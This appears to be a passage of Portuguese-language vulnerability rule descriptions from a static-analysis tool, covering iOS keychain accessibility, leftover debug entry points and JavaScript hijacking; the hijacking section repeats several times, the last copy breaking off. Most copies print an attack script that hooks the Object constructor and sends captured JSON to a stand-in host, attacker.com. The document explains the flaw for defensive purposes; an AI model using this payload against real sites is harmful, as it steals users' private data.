Disponível em iOS 4.0 ou posterior.

-kSecAttrAccessibleAlways:
Os dados no item de conjunto de chaves sempre podem ser acessados independentemente do dispositivo estar bloqueado.
Isso não é recomendado para uso do aplicativo. Os itens com esse atributo migram para um novo dispositivo ao usar backups criptografados.
Disponível em iOS 4.0 ou posterior.

-kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly:
Os dados no conjunto de chaves só podem ser acessados quando o dispositivo está desbloqueado. Disponível somente se uma senha estiver definida no dispositivo.
Isso é recomendado para itens que só precisam ser acessíveis enquanto o aplicativo está em primeiro plano. Os itens com esse atributo nunca migram para um novo dispositivo. Depois que um backup é restaurado para um novo dispositivo, esses itens estarão ausentes. Nenhum item pode ser armazenado nesta classe em dispositivos sem uma senha. Desabilitar a senha do dispositivo faz com que todos os itens dessa classe sejam excluídos.
Disponível em iOS 8.0 ou posterior.

-kSecAttrAccessibleAlwaysThisDeviceOnly:
Os dados no item de conjunto de chaves sempre podem ser acessados independentemente do dispositivo estar bloqueado.
Isso não é recomendado para uso do aplicativo. Os itens com esse atributo não migram para um novo dispositivo. Assim, após a restauração de um backup de um dispositivo diferente, esses itens não estarão presentes.
Disponível em iOS 4.0 ou posterior.

-kSecAttrAccessibleWhenUnlocked:
Os dados no item de conjunto de chaves só podem ser acessados quando o dispositivo é desbloqueado pelo usuário.
Isso é recomendado para itens que só precisam ser acessíveis enquanto o aplicativo está em primeiro plano. Os itens com esse atributo migram para um novo dispositivo ao usar backups criptografados.
Esse é o valor padrão para os itens do conjunto de chaves adicionados sem definir explicitamente uma constante de acessibilidade.
Disponível em iOS 4.0 ou posterior.

-kSecAttrAccessibleWhenUnlockedThisDeviceOnly:
Os dados no item de conjunto de chaves só podem ser acessados quando o dispositivo é desbloqueado pelo usuário.
Isso é recomendado para itens que só precisam ser acessíveis enquanto o aplicativo está em primeiro plano. Os itens com esse atributo não migram para um novo dispositivo. Assim, após a restauração de um backup de um dispositivo diferente, esses itens não estarão presentes.
Disponível em iOS 4.0 ou posterior.

Quando as proteções de conjunto de chaves foram introduzidas pela primeira vez, o valor padrão era kSecAttrAccessibleAlways, que criou um problema de segurança, já que alguém que pode obter obter acesso ou roubar o dispositivo poderá ler o conteúdo do conjunto de chaves. No momento, o atributo padrão é kSecAttrAccessibleWhenUnlocked, que é um padrão razoavelmente restritivo. No entanto, a documentação pública da Apple discorda sobre o que o atributo padrão deve ser; por isso, você deve definir esse atributo explicitamente em todos os itens de conjunto de chaves.

Exemplo 1: No exemplo a seguir, o item de conjunto de chaves é armazenado sem especificar claramente um nível de acessibilidade que pode se comportar de forma diferente em versões diferentes do iOS:


...
// Configure Keychain Item
let token = "secret"
var query = [String : AnyObject]()
query[kSecClass as String] = kSecClassGenericPassword
query[kSecValueData as String] = token as AnyObject?

SecItemAdd(query as CFDictionary, nil)
...
References
[1] Keychain Services Apple
[2] Keychain Item Accessibility Constants Apple
[3] David Thiel iOS Application Security: The Definitive Guide for Hackers and Developers No Starch Press
[4] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2.0
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark normal
[8] Standards Mapping - Common Weakness Enumeration CWE ID 359
[9] Standards Mapping - Common Weakness Enumeration Top 25 2019 [4] CWE ID 200
[10] Standards Mapping - Common Weakness Enumeration Top 25 2020 [7] CWE ID 200
[11] Standards Mapping - Common Weakness Enumeration Top 25 2021 [20] CWE ID 200
[12] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 8.2.2 Client-side Data Protection (L1 L2 L3), 8.3.4 Sensitive Private Data (L1 L2 L3), 10.2.1 Malicious Code Search (L2 L3)
[14] Standards Mapping - OWASP Mobile 2023 M9 Insecure Data Storage
[15] Standards Mapping - OWASP Mobile 2024 M9 Insecure Data Storage
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-AUTH-2, MASVS-STORAGE-2
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 3.3.1, Requirement 3.5.1, Requirement 4.2.2, Requirement 6.2.4, Requirement 8.3.1
desc.dataflow.swift.insecure_storage_unspecified_keychain_access_policy
Abstract
O código de depuração pode criar pontos de entrada não intencionais em um aplicativo Web implantado.
Explanation
Uma prática comum de desenvolvimento é adicionar código "back door" (porta dos fundos), projetado especificamente para fins de depuração ou teste, que não se destina a ser enviado ou implantado com o aplicativo. Quando esse tipo de código de depuração é acidentalmente deixado no aplicativo, o aplicativo fica aberto a modos não intencionais de interação. Esses pontos de entrada "back door" criam riscos de segurança, pois não são levados em consideração durante procedimentos de design ou teste e não se enquadram nas condições operacionais esperadas do aplicativo.

O exemplo mais comum de um código de depuração esquecido é um método main() que aparece em um aplicativo Web. Embora esta seja uma prática aceitável durante o desenvolvimento de produtos, as classes que fazem parte de um aplicativo J2EE de produção não devem definir um main().
References
[1] ENV06-J. Production code must not contain debugging entry points CERT
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[5] Standards Mapping - CIS Google Kubernetes Engine Benchmark normal
[6] Standards Mapping - Common Weakness Enumeration CWE ID 489
[7] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[8] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[9] Standards Mapping - OWASP Top 10 2021 A05 Security Misconfiguration
[10] Standards Mapping - OWASP Application Security Verification Standard 4.0 14.3.2 Unintended Security Disclosure Requirements (L1 L2 L3), 14.2.2 Dependency (L1 L2 L3)
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.5
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.5
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.5
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.5
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.5
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[18] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 3.6 - Sensitive Data Retention
[19] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 3.6 - Sensitive Data Retention
[20] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 3.6 - Sensitive Data Retention
[21] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3620 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3620 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3620 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3620 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3620 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3620 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3620 CAT II
desc.structural.java.j2ee_badpractices_leftover_debug_code
Abstract
Os aplicativos que utilizam a notação JavaScript para transportar dados confidenciais podem ser vulneráveis a sequestros de JavaScript, o que permite a um invasor não autorizado ler dados confidenciais por meio de um aplicativo vulnerável.
Explanation
Um aplicativo pode ser vulnerável a sequestros de JavaScript nas seguintes situações: 1) Ele usa objetos JavaScript como formato de transferência de dados 2) Ele lida com dados confidenciais. Como vulnerabilidades de sequestro de JavaScript não ocorrem como resultado direto de um erro de codificação, os Fortify Secure Coding Rulepacks chamam a atenção a possíveis vulnerabilidades de sequestro de JavaScript identificando o código que parece gerar JavaScript em uma resposta HTTP.

Navegadores da Web impõem a Política de Mesma Origem a fim de proteger os usuários contra sites mal-intencionados. A Política de Mesma Origem exige que, para que o JavaScript possa acessar o conteúdo de uma página da Web, tanto ele quanto essa página da Web devem ser provenientes do mesmo domínio. Sem a Política de Mesma Origem, um site mal-intencionado poderia fornecer um JavaScript capaz de carregar informações confidenciais de outros sites usando as credenciais de um cliente, analisar essas informações e depois as comunicar ao invasor. Sequestros de JavaScript permitem que um invasor ignore a Política de Mesma Origem no caso que um aplicativo Web usa JavaScript para comunicar informações confidenciais. A brecha na Política de Mesma Origem é que ela permite que o JavaScript proveniente de qualquer site seja incluído e executado no contexto de qualquer outro site. Mesmo que um site mal-intencionado não consiga examinar diretamente os dados carregados de um site vulnerável no cliente, ele ainda pode tirar proveito dessa brecha configurando um ambiente que lhe permite testemunhar a execução do JavaScript e de quaisquer efeitos colaterais relevantes que isso possa provocar. Como muitos aplicativos Web 2.0 usam o JavaScript como um mecanismo de transporte de dados, é comum que eles sejam vulneráveis, enquanto os aplicativos Web tradicionais não o são.

O formato mais popular para a comunicação de informações em JavaScript é o JSON (JavaScript Object Notation). A RFC JSON define a sintaxe JSON como um subconjunto da sintaxe literal de objetos JavaScript. O JSON se baseia em dois tipos de estruturas de dados: matrizes e objetos. Qualquer formato de transporte de dados no qual as mensagens possam ser interpretadas como uma ou mais instruções JavaScript válidas é vulnerável a sequestros de JavaScript. O JSON facilita o sequestro de JavaScript pelo fato de que uma matriz JSON representa por si só uma instrução JavaScript válida. Como as matrizes são uma forma natural para a comunicação de listas, elas são comumente utilizadas sempre que um aplicativo precisa comunicar vários valores. Em outras palavras, uma matriz JSON é diretamente vulnerável a sequestros de JavaScript. Um objeto JSON apenas será vulnerável se estiver encapsulado em alguma outra construção JavaScript que por si só representa uma instrução JavaScript válida.

Exemplo 1: O exemplo a seguir começa mostrando uma interação JSON legítima entre os componentes cliente e servidor de um aplicativo Web usado para gerenciar listas de clientes potenciais. Em seguida, ele mostra como um invasor pode imitar o cliente e obter acesso aos dados confidenciais retornados pelo servidor. Observe que esse exemplo foi concebido para navegadores baseados no Mozilla. Outros navegadores tradicionais não permitem que construtores nativos sejam substituídos quando um objeto é criado sem o uso do novo operador.

O cliente solicita dados de um servidor e avalia o resultado como JSON com o seguinte código:


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


Quando o código é executado, ele gera uma solicitação HTTP que se parece com o seguinte:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(Nesta resposta HTTP e também na seguinte, omitimos os cabeçalhos HTTP que não são diretamente relevantes para essa explicação.)
O servidor responde com uma matriz no formato JSON:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


Nesse caso, o JSON contém informações confidenciais associadas ao usuário atual (uma lista de clientes potenciais). Outros usuários não podem acessar essas informações sem saberem o identificador de sessão do usuário. (Na maioria dos aplicativos Web modernos, o identificador de sessão é armazenado como um cookie.) No entanto, se uma vítima visitar um site mal-intencionado, este poderá recuperar as informações via sequestro de JavaScript. Se uma vítima puder ser enganada e levada a visitar uma página da Web que contém o seguinte código mal-intencionado, as informações de clientes potenciais dessa vítima serão enviadas ao site do invasor.


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


O código mal-intencionado usa uma tag de script para incluir o objeto JSON na página atual. O navegador da Web enviará o cookie de sessão apropriado com a solicitação. Em outras palavras, essa solicitação será tratada como se tivesse sido originada pelo aplicativo legítimo.

Quando a matriz JSON chegar no cliente, ela será avaliada no contexto da página mal-intencionada. A fim de testemunhar a avaliação do JSON, a página mal-intencionada redefiniu a função JavaScript usada para criar novos objetos. Dessa maneira, o código mal-intencionado inseriu um gancho que lhe permite obter acesso à criação de cada objeto e transmitir o conteúdo do objeto de volta para o site mal-intencionado. Outros ataques podem em vez disso substituir o construtor padrão para matrizes. Aplicativos desenvolvidos para uso em um mashup por vezes invocam uma função de retorno de chamada no final de cada mensagem JavaScript. O propósito dessa função de retorno de chamada é ser definida por outro aplicativo no mashup. A função de retorno de chamada faz com que um ataque de sequestro JavaScript se torne algo muito simples - tudo o que o invasor precisa fazer é definir a função. Um aplicativo pode ser favorável para mashup ou seguro, mas não pode ser ambos. Se o usuário não estiver conectado ao site vulnerável, o invasor poderá compensar a situação solicitando que esse usuário faça login e, em seguida, exibindo a página de login legítima do aplicativo.

Não se trata de um ataque de phishing (o invasor não obtém acesso as credenciais do usuário) e, por isso, contramedidas anti-phishing não conseguirão anulá-lo. Ataques mais complexos podem fazer uma série de solicitações ao aplicativo usando JavaScript para gerar tags de script dinamicamente. Essa mesma técnica é usada às vezes para criar mashups de aplicativo. A única diferença é que, nesse cenário de mashup, um dos aplicativos envolvidos é mal-intencionado.
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 7
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.5.3 Token-based Session Management (L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 14.5.2 Validate HTTP Request Header Requirements (L1 L2 L3), 14.5.3 Validate HTTP Request Header Requirements (L1 L2 L3)
[12] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[13] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[27] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[28] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.dataflow.java.javascript_hijacking
Abstract
Os aplicativos que utilizam a notação JavaScript para transportar dados confidenciais podem ser vulneráveis a sequestros de JavaScript, o que permite a um invasor não autorizado ler dados confidenciais por meio de um aplicativo vulnerável.
Explanation
Um aplicativo pode ser vulnerável a sequestros de JavaScript nas seguintes situações: 1) Ele usa objetos JavaScript como formato de transferência de dados 2) Ele lida com dados confidenciais. Como vulnerabilidades de sequestro de JavaScript não ocorrem como resultado direto de um erro de codificação, os Fortify Secure Coding Rulepacks chamam a atenção a possíveis vulnerabilidades de sequestro de JavaScript identificando o código que parece gerar JavaScript em uma resposta HTTP.

Os navegadores da Web aplicam a Política de Mesma Origem para proteger os usuários de sites mal-intencionados. A mesma Política de Mesma Origem exige que, para que o JavaScript possa acessar o conteúdo de uma página da Web, tanto o JavaScript quanto a página da Web devem ser provenientes do mesmo domínio. Sem a Política de Mesma Origem, um site mal-intencionado poderia fornecer JavaScript capaz de carregar informações confidenciais de outros sites usando as credenciais de um cliente, analisar essas informações e, depois, comunicá-las ao invasor. O sequestro de JavaScript permite que um invasor ignore a política da mesma origem no caso de um aplicativo da web usar JavaScript para comunicar informações confidenciais. A brecha na Política de Mesma Origem é que ela permite que o JavaScript de qualquer site seja incluído e executado no contexto de qualquer outro site. Mesmo que um site mal-intencionado não possa examinar diretamente quaisquer dados carregados de um site vulnerável no cliente, ele ainda pode tirar vantagem dessa brecha, configurando um ambiente que permite testemunhar a execução do JavaScript e quaisquer efeitos colaterais relevantes que possa ter. Como muitos aplicativos da Web 2.0 usam JavaScript como mecanismo de transporte de dados, eles costumam ser vulneráveis, ao contrário dos aplicativos tradicionais da Web.

O formato mais popular para a comunicação de informações em JavaScript é o JSON (JavaScript Object Notation). A RFC JSON define a sintaxe JSON como um subconjunto da sintaxe literal de objetos JavaScript. O JSON se baseia em dois tipos de estruturas de dados: matrizes e objetos. Qualquer formato de transporte de dados no qual as mensagens possam ser interpretadas como uma ou mais instruções JavaScript válidas é vulnerável a sequestros de JavaScript. O JSON facilita o sequestro de JavaScript pelo fato de que uma matriz JSON representa por si só uma instrução JavaScript válida. Como as matrizes são uma forma natural para a comunicação de listas, elas são comumente utilizadas sempre que um aplicativo precisa comunicar vários valores. Em outras palavras, uma matriz JSON é diretamente vulnerável a sequestros de JavaScript. Um objeto JSON apenas será vulnerável se estiver encapsulado em alguma outra construção JavaScript que por si só representa uma instrução JavaScript válida.

Exemplo 1: O exemplo a seguir começa mostrando uma interação JSON legítima entre os componentes cliente e servidor de um aplicativo Web usado para gerenciar listas de clientes potenciais. Em seguida, ele mostra como um invasor pode imitar o cliente e obter acesso aos dados confidenciais retornados pelo servidor. Observe que esse exemplo foi concebido para navegadores baseados no Mozilla. Outros navegadores tradicionais não permitem que construtores nativos sejam substituídos quando um objeto é criado sem o uso do novo operador.

O cliente solicita dados de um servidor e avalia o resultado como JSON com o seguinte código:

var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


Quando o código é executado, ele gera uma solicitação HTTP que se parece com o seguinte:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(Nesta resposta HTTP e também na seguinte, omitimos os cabeçalhos HTTP que não são diretamente relevantes para essa explicação.)
O servidor responde com uma matriz no formato JSON:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


Nesse caso, o JSON contém informações confidenciais associadas ao usuário atual (uma lista de clientes potenciais). Outros usuários não podem acessar essas informações sem saberem o identificador de sessão do usuário. (Na maioria dos aplicativos Web modernos, o identificador de sessão é armazenado como um cookie.) No entanto, se uma vítima visitar um site mal-intencionado, este poderá recuperar as informações via sequestro de JavaScript. Se uma vítima puder ser enganada e levada a visitar uma página da Web que contém o seguinte código mal-intencionado, as informações de clientes potenciais dessa vítima serão enviadas ao site do invasor.


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


O código mal-intencionado usa uma tag de script para incluir o objeto JSON na página atual. O navegador da Web enviará o cookie de sessão apropriado com a solicitação. Em outras palavras, essa solicitação será tratada como se tivesse sido originada pelo aplicativo legítimo.

Quando a matriz JSON chegar no cliente, ela será avaliada no contexto da página mal-intencionada. A fim de testemunhar a avaliação do JSON, a página mal-intencionada redefiniu a função JavaScript usada para criar novos objetos. Dessa maneira, o código mal-intencionado inseriu um gancho que lhe permite obter acesso à criação de cada objeto e transmitir o conteúdo do objeto de volta para o site mal-intencionado. Outros ataques podem em vez disso substituir o construtor padrão para matrizes. Aplicativos desenvolvidos para uso em um mashup por vezes invocam uma função de retorno de chamada no final de cada mensagem JavaScript. O propósito dessa função de retorno de chamada é ser definida por outro aplicativo no mashup. A função de retorno de chamada faz com que um ataque de sequestro JavaScript se torne algo muito simples - tudo o que o invasor precisa fazer é definir a função. Um aplicativo pode ser favorável para mashup ou seguro, mas não pode ser ambos. Se o usuário não estiver conectado ao site vulnerável, o invasor poderá compensar a situação solicitando que esse usuário faça login e, em seguida, exibindo a página de login legítima do aplicativo.

Não se trata de um ataque de phishing (o invasor não obtém acesso as credenciais do usuário) e, por isso, contramedidas anti-phishing não conseguirão anulá-lo. Ataques mais complexos podem fazer uma série de solicitações ao aplicativo usando JavaScript para gerar tags de script dinamicamente. Essa mesma técnica é usada às vezes para criar mashups de aplicativo. A única diferença é que, nesse cenário de mashup, um dos aplicativos envolvidos é mal-intencionado.
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 7
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.5.3 Token-based Session Management (L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 14.5.2 Validate HTTP Request Header Requirements (L1 L2 L3), 14.5.3 Validate HTTP Request Header Requirements (L1 L2 L3)
[12] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[13] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[27] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[28] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.dataflow.javascript.javascript_hijacking
Abstract
Os aplicativos que utilizam a notação JavaScript para transportar dados confidenciais podem ser vulneráveis a sequestros de JavaScript, o que permite a um invasor não autorizado ler dados confidenciais por meio de um aplicativo vulnerável. As matrizes de JavaScript podem ser roubadas se o mecanismo de JavaScript do navegador permitir o envenenamento do construtor de matriz.
Explanation
Um aplicativo pode ser vulnerável a sequestros de JavaScript nas seguintes situações:
1) Se ele usa objetos JavaScript como formato de transferência de dados
2) Se ele lida com dados confidenciais. Como vulnerabilidades de sequestro de JavaScript não ocorrem como resultado direto de um erro de codificação, os Fortify Secure Coding Rulepacks chamam a atenção a possíveis vulnerabilidades de sequestro de JavaScript identificando o código que parece gerar JavaScript em uma resposta HTTP.

Navegadores da Web impõem a Política de Mesma Origem a fim de proteger os usuários contra sites mal-intencionados. A Política de Mesma Origem exige que, para que o JavaScript possa acessar o conteúdo de uma página da Web, tanto ele quanto essa página da Web devem ser provenientes do mesmo domínio. Sem a Política de Mesma Origem, um site mal-intencionado poderia fornecer um JavaScript capaz de carregar informações confidenciais de outros sites usando as credenciais de um cliente, analisar essas informações e depois as comunicar ao invasor. Sequestros de JavaScript permitem que um invasor ignore a Política de Mesma Origem no caso que um aplicativo Web usa JavaScript para comunicar informações confidenciais. A brecha na Política de Mesma Origem é que ela permite que o JavaScript proveniente de qualquer site seja incluído e executado no contexto de qualquer outro site. Mesmo que um site mal-intencionado não consiga examinar diretamente os dados carregados de um site vulnerável no cliente, ele ainda pode tirar proveito dessa brecha configurando um ambiente que lhe permite testemunhar a execução do JavaScript e de quaisquer efeitos colaterais relevantes que isso possa provocar. Como muitos aplicativos Web 2.0 usam o JavaScript como um mecanismo de transporte de dados, é comum que eles sejam vulneráveis, enquanto os aplicativos Web tradicionais não o são.

O formato mais popular para a comunicação de informações em JavaScript é o JSON (JavaScript Object Notation). A RFC JSON define a sintaxe JSON como um subconjunto da sintaxe literal de objetos JavaScript. O JSON se baseia em dois tipos de estruturas de dados: matrizes e objetos. Qualquer formato de transporte de dados no qual as mensagens possam ser interpretadas como uma ou mais instruções JavaScript válidas é vulnerável a sequestros de JavaScript. O JSON facilita o sequestro de JavaScript pelo fato de que uma matriz JSON representa por si só uma instrução JavaScript válida. Como as matrizes são uma forma natural para a comunicação de listas, elas são comumente utilizadas sempre que um aplicativo precisa comunicar vários valores. Em outras palavras, uma matriz JSON é diretamente vulnerável a sequestros de JavaScript. Um objeto JSON apenas será vulnerável se estiver encapsulado em alguma outra construção JavaScript que por si só representa uma instrução JavaScript válida.

Exemplo 1: O exemplo a seguir começa mostrando uma interação JSON legítima entre os componentes cliente e servidor de um aplicativo Web usado para gerenciar listas de clientes potenciais. Em seguida, ele mostra como um invasor pode imitar o cliente e obter acesso aos dados confidenciais retornados pelo servidor. Observe que esse exemplo foi concebido para navegadores baseados no Mozilla. Outros navegadores tradicionais não permitem que construtores nativos sejam substituídos quando um objeto é criado sem o uso do novo operador.

O cliente solicita dados de um servidor e avalia o resultado como JSON com o seguinte código:


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


Quando o código é executado, ele gera uma solicitação HTTP que se parece com o seguinte:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(Nesta resposta HTTP e também na seguinte, omitimos os cabeçalhos HTTP que não são diretamente relevantes para essa explicação.)
O servidor responde com uma matriz no formato JSON:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


Nesse caso, o JSON contém informações confidenciais associadas ao usuário atual (uma lista de clientes potenciais). Outros usuários não podem acessar essas informações sem saberem o identificador de sessão do usuário. (Na maioria dos aplicativos Web modernos, o identificador de sessão é armazenado como um cookie.) No entanto, se uma vítima visitar um site mal-intencionado, este poderá recuperar as informações via sequestro de JavaScript. Se uma vítima puder ser enganada e levada a visitar uma página da Web que contém o seguinte código mal-intencionado, as informações de clientes potenciais dessa vítima serão enviadas ao site do invasor.


<script>
